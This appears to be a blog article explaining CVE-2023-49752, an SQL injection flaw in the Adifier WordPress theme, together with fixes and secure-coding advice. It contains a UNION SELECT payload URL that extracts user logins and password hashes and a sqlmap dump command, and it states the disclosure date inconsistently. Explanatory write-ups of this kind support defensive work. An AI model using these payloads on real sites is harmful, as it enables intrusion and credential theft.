*Posted June 2024*

The WordPress ecosystem is no stranger to security vulnerabilities, particularly when it comes to themes and plugins powering thousands of websites. This long read takes a deep dive into CVE-2023-49752, a severe SQL Injection flaw discovered in the highly popular Adifier – Classified Ads WordPress Theme by Spoon Themes. Covering the technical background, real-world exploitation, and secure coding best practices, this article aims to equip web admins and developers with everything they need to know about this issue.

What Is CVE-2023-49752?

CVE-2023-49752 is an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that affects versions of the Adifier WordPress theme before 3.1.4. This allows attackers to inject malicious SQL code via web requests, potentially exposing critical data - or in worst cases, enabling remote code execution.

Disclosure Date: January 2024
Vulnerable Product: Adifier - Classified Ads WordPress Theme
Vulnerable Versions: All versions prior to 3.1.4
Fixed Version: 3.1.4

In some hosting environments, escalate access to system or database level

This can result in data breaches, website defacement, or complete loss of control.

How Did the Vulnerability Occur? (Technical Details)

The crux of the vulnerability lies in how the Adifier theme handled user-supplied input (such as GET or POST parameters) in one of its backend functions.

Typical vulnerable code pattern

// Hypothetical vulnerable code in the Adifier theme
$ad_id = $_GET['ad_id'];
$sql = "SELECT * FROM {$wpdb->prefix}adifier_ads WHERE ad_id = $ad_id";
$ad = $wpdb->get_row($sql);

Problem:
The $ad_id parameter comes directly from user input—if it's not sanitized or parameterized, attackers can pass crafted values like:

ad_id=1 OR 1=1

Resulting SQL becomes

SELECT * FROM wp_adifier_ads WHERE ad_id = 1 OR 1=1

It returns *all* ads, not just one. More maliciously, an attacker can modify this value to extract confidential data via *UNION SELECT* or similar techniques.

Suppose the theme exposes an endpoint like

https://example.com/?ad_id=123

This parameter is passed to the vulnerable SQL query.

Change the URL to

https://example.com/?ad_id=1%20UNION%20SELECT%20user_login,user_pass,1%20FROM%20wp_users--

The SQL on the backend expands as

SELECT * FROM wp_adifier_ads WHERE ad_id = 1 UNION SELECT user_login, user_pass, 1 FROM wp_users--

This query now returns ALL user logins and password hashes (WordPress stores them as hashes), exposing sensitive admin credentials.

Step 3: (Optional) Automate Extraction

Attackers can run automated scripts (using tools like sqlmap) to dump entire tables. For example:

sqlmap -u "https://example.com/?ad_id=1"; --cookie="wordpress_logged_in=..." --dump

Mitigation: How to Fix and Protect

1. Update Your Theme:
The Adifier author patched this issue in version 3.1.4. Download and install the latest version here (requires Themeforest account).

2. Best Coding Practices:

If you're a WordPress developer, always use prepared statements

$ad_id = $_GET['ad_id'];
$ad = $wpdb->get_row(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}adifier_ads WHERE ad_id = %d",
        $ad_id
    )
);

Prepared statements ensure user input is properly quoted and won't break query syntax.

3. Use Firewalls & Security Plugins:
Employ WordPress security plugins (Wordfence, Sucuri, etc.) to block malicious input.

4. Monitor Logs:
Review web server and database logs for suspicious SQL errors or access to ?ad_id= with unusual values.

References and Further Reading

- NVD Entry for CVE-2023-49752
- Original Theme (Adifier) on Themeforest
- OWASP SQL Injection Cheat Sheet
- WordPress.org Security Whitepaper
- How to use $wpdb->prepare()

Final Thoughts

SQL Injection remains one of the oldest and most dangerous vulnerabilities for web applications, and WordPress themes are a frequent target due to their popularity. CVE-2023-49752 shows just how quickly a single overlooked input can lead to severe breaches.

If you use Adifier, update immediately. Relying on third-party code? Always validate, sanitize, and parameterize every bit of user input. A few lines of secure code can prevent disaster.


*If you found this article helpful, please share with your co-admins and consider running a quick audit of your current WordPress themes and plugins.*

Timeline

Published on: 12/20/2023 18:15:13 UTC
Last modified on: 12/30/2023 03:13:36 UTC